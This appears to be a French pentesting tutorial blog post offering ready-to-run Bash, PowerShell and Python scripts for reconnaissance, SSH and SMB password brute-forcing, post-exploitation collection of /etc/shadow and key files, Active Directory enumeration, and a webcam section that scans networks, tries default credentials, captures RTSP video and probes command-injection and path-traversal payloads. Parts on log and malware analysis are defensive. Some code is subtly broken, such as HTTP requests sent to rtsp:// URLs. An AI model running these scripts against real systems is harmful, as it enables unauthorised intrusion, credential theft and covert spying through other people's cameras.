0%
Commandes et Scripts Shell pour le Pentesting : Guide Pratique
#shell #pentest #sécurité #commandes #scripts #bash #powershell

Commandes et Scripts Shell pour le Pentesting : Guide Pratique

Guide complet sur les commandes et scripts shell essentiels pour le pentesting. Outils, techniques et bonnes pratiques pour l'analyse de sécurité.

I

InSkillCoach

· min

Commandes et Scripts Shell pour le Pentesting

Découvrez les commandes et scripts shell essentiels pour le pentesting et l’analyse de sécurité.

1. Commandes de Reconnaissance

Nmap

# Scan de ports
nmap -sS -sV -p- 192.168.1.1

# Scan rapide
nmap -F 192.168.1.1

# Scan avec détection OS
nmap -O 192.168.1.1

# Scan avec scripts NSE
nmap -sC -sV 192.168.1.1

DNS

# Recherche DNS
dig @8.8.8.8 example.com

# Transfert de zone
dig axfr @ns1.example.com example.com

# Énumération DNS
dnsenum example.com

2. Commandes d’Analyse

Wireshark/Tcpdump

# Capture de paquets
tcpdump -i eth0 -w capture.pcap

# Filtrage par port
tcpdump port 80 or port 443

# Analyse HTTP
tcpdump -i eth0 -A 'tcp port 80'

Analyse de Fichiers

# Analyse de strings
strings fichier.bin

# Analyse hexadécimale
hexdump -C fichier.bin

# Analyse des entêtes
file fichier.bin

3. Scripts d’Exploitation

Script Bash

#!/bin/bash

# Scanner de ports rapide
for port in {20..25} {80..85} {443..445}; do
    (echo >/dev/tcp/$1/$port) &>/dev/null && echo "Port $port ouvert"
done

# Bruteforce SSH
for pass in $(cat wordlist.txt); do
    sshpass -p "$pass" ssh -o StrictHostKeyChecking=no user@$1
done

# Scanner de vulnérabilités
for ip in $(seq 1 254); do
    nmap -sS -sV 192.168.1.$ip &
done

Script PowerShell

# Scanner de ports
1..1024 | ForEach-Object {
    $port = $_
    $client = New-Object System.Net.Sockets.TcpClient
    try {
        $client.Connect("192.168.1.1", $port)
        Write-Host "Port $port ouvert"
    } catch {}
    $client.Close()
}

# Bruteforce SMB
$wordlist = Get-Content wordlist.txt
foreach ($pass in $wordlist) {
    $cred = New-Object System.Management.Automation.PSCredential("admin", (ConvertTo-SecureString $pass -AsPlainText -Force))
    try {
        New-PSDrive -Name "SMB" -PSProvider FileSystem -Root "\\192.168.1.1\share" -Credential $cred
        Write-Host "Mot de passe trouvé: $pass"
        break
    } catch {}
}

4. Scripts de Post-Exploitation

Script Bash

#!/bin/bash

# Collecte d'informations système
echo "=== Informations Système ==="
uname -a
cat /etc/issue
cat /etc/passwd
cat /etc/shadow

# Recherche de fichiers sensibles
find / -type f -name "*.conf" -o -name "*.key" -o -name "*.pem" 2>/dev/null

# Énumération des processus
ps aux | grep root

Script PowerShell

# Collecte d'informations Windows
Get-WmiObject Win32_OperatingSystem | Select-Object *
Get-WmiObject Win32_UserAccount | Select-Object Name, SID
Get-WmiObject Win32_Service | Where-Object {$_.StartMode -eq "Auto"}

# Recherche de fichiers sensibles
Get-ChildItem -Path C:\ -Recurse -Include *.conf,*.key,*.pem -ErrorAction SilentlyContinue

5. Scripts de Reporting

Script Bash

#!/bin/bash

# Génération de rapport
echo "=== Rapport de Pentest ===" > rapport.txt
echo "Date: $(date)" >> rapport.txt
echo "Cible: $1" >> rapport.txt
echo "" >> rapport.txt

# Scan Nmap
echo "=== Scan Nmap ===" >> rapport.txt
nmap -sS -sV $1 >> rapport.txt
echo "" >> rapport.txt

# Vulnérabilités trouvées
echo "=== Vulnérabilités ===" >> rapport.txt
grep -r "vulnerability" /var/log/ >> rapport.txt

Script PowerShell

# Génération de rapport HTML
$html = @"
<html>
<head>
    <title>Rapport de Pentest</title>
    <style>
        body { font-family: Arial; }
        .vulnerability { color: red; }
        .info { color: blue; }
    </style>
</head>
<body>
    <h1>Rapport de Pentest</h1>
    <p>Date: $(Get-Date)</p>
    <p>Cible: $target</p>
"@

# Ajout des résultats
$html += "<h2>Vulnérabilités</h2>"
$vulns = Get-Content vulns.txt
foreach ($vuln in $vulns) {
    $html += "<p class='vulnerability'>$vuln</p>"
}

$html | Out-File rapport.html

Bonnes Pratiques

  1. Sécurité

    • Valider les entrées utilisateur
    • Gérer les erreurs
    • Limiter les privilèges
    • Documenter les scripts

  2. Performance

    • Optimiser les boucles
    • Utiliser le parallélisme
    • Gérer la mémoire
    • Limiter les ressources

  3. Maintenance

    • Commenter le code
    • Versionner les scripts
    • Tester régulièrement
    • Mettre à jour les dépendances

  4. Documentation

    • Décrire l’utilisation
    • Lister les prérequis
    • Documenter les paramètres
    • Fournir des exemples

Conclusion

Les commandes et scripts shell sont des outils essentiels pour le pentesting, mais leur utilisation doit être faite de manière éthique et responsable.

Ressources Complémentaires

6. Scripts Avancés

Script Bash pour l’Énumération Active Directory

#!/bin/bash

# Énumération AD avec ldapsearch
ldapsearch -x -H ldap://192.168.1.1 -D "CN=Administrator,CN=Users,DC=domain,DC=com" -w password -b "DC=domain,DC=com" "(objectClass=user)"

# Énumération des groupes
ldapsearch -x -H ldap://192.168.1.1 -D "CN=Administrator,CN=Users,DC=domain,DC=com" -w password -b "DC=domain,DC=com" "(objectClass=group)"

# Énumération des ordinateurs
ldapsearch -x -H ldap://192.168.1.1 -D "CN=Administrator,CN=Users,DC=domain,DC=com" -w password -b "DC=domain,DC=com" "(objectClass=computer)"

Script PowerShell pour l’Énumération Active Directory

# Énumération des utilisateurs
Get-ADUser -Filter * -Properties * | Select-Object SamAccountName, Enabled, LastLogonDate

# Énumération des groupes
Get-ADGroup -Filter * | Select-Object Name, GroupCategory

# Énumération des ordinateurs
Get-ADComputer -Filter * -Properties * | Select-Object Name, OperatingSystem, LastLogonDate

# Énumération des GPO
Get-GPO -All | Select-Object DisplayName, GPOStatus

Script Bash pour l’Analyse de Malware

#!/bin/bash

# Analyse statique
echo "=== Analyse Statique ==="
strings $1
file $1
hexdump -C $1 | head -n 20

# Analyse des dépendances
echo "=== Dépendances ==="
ldd $1
readelf -d $1

# Analyse des sections
echo "=== Sections ==="
readelf -S $1
objdump -h $1

# Recherche de patterns malveillants
echo "=== Patterns Malveillants ==="
grep -r "CreateRemoteThread" $1
grep -r "VirtualAlloc" $1
grep -r "WriteProcessMemory" $1

Script PowerShell pour l’Analyse de Malware Windows

# Analyse des processus suspects
Get-Process | Where-Object {$_.CPU -gt 80} | Select-Object ProcessName, Id, CPU

# Analyse des connexions réseau
netstat -ano | Select-String "ESTABLISHED"

# Analyse des fichiers récemment modifiés
Get-ChildItem -Path C:\ -Recurse -File | Where-Object {$_.LastWriteTime -gt (Get-Date).AddHours(-24)} | Select-Object FullName, LastWriteTime

# Analyse des services
Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name, DisplayName, Status

Script Bash pour l’Analyse de Logs

#!/bin/bash

# Analyse des logs d'authentification
echo "=== Tentatives de connexion échouées ==="
grep "Failed password" /var/log/auth.log | tail -n 20

# Analyse des tentatives de bruteforce
echo "=== Tentatives de bruteforce ==="
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr

# Analyse des connexions SSH
echo "=== Connexions SSH ==="
grep "sshd" /var/log/auth.log | grep "Accepted" | tail -n 20

# Analyse des tentatives de privilèges
echo "=== Tentatives de privilèges ==="
grep "sudo" /var/log/auth.log | tail -n 20

Script PowerShell pour l’Analyse de Logs Windows

# Analyse des événements de sécurité
Get-EventLog -LogName Security -EntryType FailureAudit | Select-Object TimeGenerated, EventID, Message

# Analyse des tentatives de connexion
Get-EventLog -LogName Security -EntryType FailureAudit | Where-Object {$_.EventID -eq 4625} | Select-Object TimeGenerated, Message

# Analyse des modifications de privilèges
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4672} | Select-Object TimeGenerated, Message

# Analyse des modifications de fichiers système
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4663} | Select-Object TimeGenerated, Message

Script Bash pour l’Analyse de Réseau

#!/bin/bash

# Analyse du trafic réseau
echo "=== Trafic réseau par protocole ==="
tcpdump -i eth0 -n | awk '{print $3}' | sort | uniq -c | sort -nr

# Analyse des connexions actives
echo "=== Connexions actives ==="
netstat -ant | awk '{print $6}' | sort | uniq -c | sort -nr

# Analyse des ports ouverts
echo "=== Ports ouverts ==="
netstat -tuln | awk '{print $4}' | cut -d: -f2 | sort | uniq

# Analyse des DNS
echo "=== Requêtes DNS ==="
tcpdump -i eth0 -n udp port 53 | awk '{print $3}' | sort | uniq -c | sort -nr

Script PowerShell pour l’Analyse de Réseau Windows

# Analyse des connexions réseau
Get-NetTCPConnection | Where-Object State -eq "Established" | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort

# Analyse des sessions SMB
Get-SmbSession | Select-Object ClientComputerName, ClientUserName, Dialect

# Analyse des partages réseau
Get-SmbShare | Select-Object Name, Path, Description

# Analyse des connexions RDP
Get-NetTCPConnection | Where-Object LocalPort -eq 3389 | Select-Object LocalAddress, RemoteAddress, State

7. Scripts pour l’Analyse des Webcams

Script Bash pour la Détection des Webcams

#!/bin/bash

# Détection des webcams sur le réseau local
echo "=== Détection des Webcams ==="
for ip in $(seq 1 254); do
    # Test des ports courants des webcams
    for port in 80 443 554 8554 8000 8080; do
        (echo >/dev/tcp/192.168.1.$ip/$port) &>/dev/null && echo "Webcam potentielle trouvée sur 192.168.1.$ip:$port"
    done
done

# Recherche des services RTSP
echo "=== Services RTSP ==="
nmap -p 554,8554 --script rtsp-url-brute 192.168.1.0/24

# Test des authentifications par défaut
echo "=== Test des Authentifications ==="
for ip in $(cat webcams.txt); do
    curl -s "http://$ip/cgi-bin/viewer/video.jpg" -o /dev/null && echo "Webcam accessible sans authentification: $ip"
done

Script Python pour l’Analyse des Webcams

#!/usr/bin/env python3
import requests
import cv2
import numpy as np
from concurrent.futures import ThreadPoolExecutor

class WebcamAnalyzer:
    def __init__(self):
        self.common_ports = [80, 443, 554, 8554, 8000, 8080]
        self.default_credentials = [
            ('admin', 'admin'),
            ('admin', 'password'),
            ('root', 'root'),
            ('admin', ''),
            ('', 'admin')
        ]

    def scan_network(self, subnet):
        """Scan le réseau pour trouver des webcams"""
        with ThreadPoolExecutor(max_workers=100) as executor:
            futures = []
            for ip in range(1, 255):
                for port in self.common_ports:
                    futures.append(executor.submit(self.check_webcam, f"{subnet}.{ip}", port))
            
            for future in futures:
                result = future.result()
                if result:
                    print(f"Webcam trouvée: {result}")

    def check_webcam(self, ip, port):
        """Vérifie si une webcam est accessible"""
        try:
            # Test RTSP
            if port in [554, 8554]:
                response = requests.get(f"rtsp://{ip}:{port}", timeout=1)
                if response.status_code == 200:
                    return f"{ip}:{port} (RTSP)"
            
            # Test HTTP/HTTPS
            for protocol in ['http', 'https']:
                url = f"{protocol}://{ip}:{port}"
                try:
                    response = requests.get(url, timeout=1)
                    if response.status_code == 200:
                        return f"{ip}:{port} ({protocol})"
                except:
                    continue
        except:
            pass
        return None

    def test_authentication(self, ip, port):
        """Teste les authentifications par défaut"""
        for username, password in self.default_credentials:
            try:
                response = requests.get(
                    f"http://{ip}:{port}/cgi-bin/viewer/video.jpg",
                    auth=(username, password),
                    timeout=1
                )
                if response.status_code == 200:
                    return f"Credentials valides: {username}:{password}"
            except:
                continue
        return None

    def capture_stream(self, ip, port, protocol='rtsp'):
        """Capture le flux vidéo de la webcam"""
        if protocol == 'rtsp':
            url = f"rtsp://{ip}:{port}/stream1"
        else:
            url = f"http://{ip}:{port}/video"
        
        cap = cv2.VideoCapture(url)
        if not cap.isOpened():
            return False
        
        ret, frame = cap.read()
        if ret:
            cv2.imwrite(f"webcam_{ip}.jpg", frame)
            return True
        return False

    def analyze_vulnerabilities(self, ip, port):
        """Analyse les vulnérabilités courantes"""
        vulnerabilities = []
        
        # Test des commandes shell
        cmd_injection_payloads = [
            ';ls',
            '`ls`',
            '$(ls)',
            '|ls'
        ]
        
        for payload in cmd_injection_payloads:
            try:
                response = requests.get(
                    f"http://{ip}:{port}/cgi-bin/command.cgi?cmd={payload}",
                    timeout=1
                )
                if "bin" in response.text or "etc" in response.text:
                    vulnerabilities.append(f"Command Injection possible: {payload}")
            except:
                continue
        
        # Test des traversées de répertoire
        path_traversal_payloads = [
            '../../../etc/passwd',
            '..\\..\\..\\windows\\system32\\config\\sam',
            '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
        ]
        
        for payload in path_traversal_payloads:
            try:
                response = requests.get(
                    f"http://{ip}:{port}/cgi-bin/download.cgi?file={payload}",
                    timeout=1
                )
                if "root:" in response.text or "[fonts]" in response.text:
                    vulnerabilities.append(f"Path Traversal possible: {payload}")
            except:
                continue
        
        return vulnerabilities

# Exemple d'utilisation
if __name__ == "__main__":
    analyzer = WebcamAnalyzer()
    
    # Scan du réseau
    print("Scanning du réseau...")
    analyzer.scan_network("192.168.1")
    
    # Test d'authentification
    print("\nTest des authentifications...")
    result = analyzer.test_authentication("192.168.1.100", 80)
    if result:
        print(result)
    
    # Capture de flux
    print("\nTentative de capture...")
    if analyzer.capture_stream("192.168.1.100", 554):
        print("Capture réussie")
    
    # Analyse des vulnérabilités
    print("\nAnalyse des vulnérabilités...")
    vulns = analyzer.analyze_vulnerabilities("192.168.1.100", 80)
    for vuln in vulns:
        print(vuln)

Script PowerShell pour l’Analyse des Webcams Windows

# Détection des webcams connectées
Get-WmiObject Win32_PnPEntity | Where-Object {$_.PNPClass -eq "Camera"} | Select-Object Name, DeviceID

# Analyse des processus liés aux webcams
Get-Process | Where-Object {$_.ProcessName -like "*camera*" -or $_.ProcessName -like "*webcam*"} | Select-Object ProcessName, Id, Path

# Analyse des connexions réseau des webcams
Get-NetTCPConnection | Where-Object {$_.LocalPort -in 80,443,554,8554,8000,8080} | Select-Object LocalAddress, LocalPort, RemoteAddress, State

# Test des services web des webcams
$webcams = Get-Content webcams.txt
foreach ($webcam in $webcams) {
    try {
        $response = Invoke-WebRequest -Uri "http://$webcam" -TimeoutSec 1
        if ($response.StatusCode -eq 200) {
            Write-Host "Webcam accessible: $webcam"
        }
    } catch {}
}

Script Bash pour l’Analyse des Flux Vidéo

#!/bin/bash

# Capture de flux RTSP
ffmpeg -i rtsp://192.168.1.100:554/stream1 -c copy -t 60 capture.mp4

# Analyse des métadonnées
ffprobe -v quiet -print_format json -show_format -show_streams rtsp://192.168.1.100:554/stream1

# Détection de mouvement
ffmpeg -i rtsp://192.168.1.100:554/stream1 -vf "select=gt(scene\\,0.3)" -vsync vfr frame_%d.jpg

# Extraction des images
ffmpeg -i rtsp://192.168.1.100:554/stream1 -vf fps=1 image_%d.jpg
InSkillCoach

À propos de InSkillCoach

Expert en formation et technologies

Coach spécialisé dans les technologies avancées et l'IA, porté par GNeurone Inc.

GitHub Voir tous les articles

Certifications:

  • AWS Certified Solutions Architect – Professional
  • Certifications Google Cloud
  • Microsoft Certified: DevOps Engineer Expert
  • Certified Kubernetes Administrator (CKA)
  • CompTIA Security+
1.2k
330

Commentaires

Les commentaires sont alimentés par GitHub Discussions

Connectez-vous avec GitHub pour participer à la discussion

Lien copié !